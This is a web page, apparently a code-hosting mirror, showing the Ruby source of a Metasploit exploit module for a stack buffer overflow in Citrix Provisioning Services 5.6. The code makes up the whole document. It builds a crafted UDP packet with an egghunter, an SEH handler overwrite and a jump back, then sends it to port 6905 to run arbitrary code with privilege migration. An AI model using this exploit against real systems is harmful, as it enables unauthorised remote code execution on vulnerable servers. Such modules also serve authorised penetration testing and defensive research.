Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(update_info(info,13'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.16By sending a specially crafted packet to the Provisioning Services server, a fixed17length buffer on the stack can be overflowed and arbitrary code can be executed.18},19'Author' => 'mog',20'License' => MSF_LICENSE,21'References' =>22[23[ 'OSVDB', '70597'],24[ 'ZDI', '11-023' ],25[ 'URL', 'http://web.archive.org/web/20110123164820/http://secunia.com:80/advisories/42954/' ],26[ 'URL', 'http://support.citrix.com/article/CTX127149' ],27],28'DefaultOptions' =>29{30# best at delaying/preventing target crashing post-exploit31'EXITFUNC' => 'process',32'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',33},34'Payload' =>35{36'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer37},38'Platform' => 'win',39'Targets' =>40[41# pop/pop/ret in streamprocess.exe42# Service runs and automatically shuts down in Win 743[ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],44],45'Privileged' => true,46'DefaultTarget' => 0,47'DisclosureDate' => '2011-01-20'))4849register_options([Opt::RPORT(6905)])50end5152def exploit5354eggoptions =55{56:checksum => true,57:eggtag => 'W00t',58}59hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)6061sploit = "\x10\x00\x02\x40" # message type62sploit << rand_text_alpha_upper(30)63sploit << "\x00\x01\x00\x00" # length field64sploit << rand_text_alpha_upper(400)65sploit << hunter66sploit << rand_text_alpha_upper(64 - hunter.length)6768sploit << "\xEB\xBE" # Jump back 66 bytes to hunter because there's69sploit << rand_text_alpha_upper(2) # only 24 bytes of cyclic copy after ret70sploit << [target.ret].pack('V') # SE handler7172sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack73sploit << egg # Payload has a whole page to itself7475print_status("Trying target #{target.name}...")7677connect_udp78udp_sock.put(sploit)79print_status("Exploit sent, wait for egghunter.")80select(nil, nil, nil, 4) # takes about 8 seconds in tests8182handler(udp_sock)83disconnect_udp84end85end868788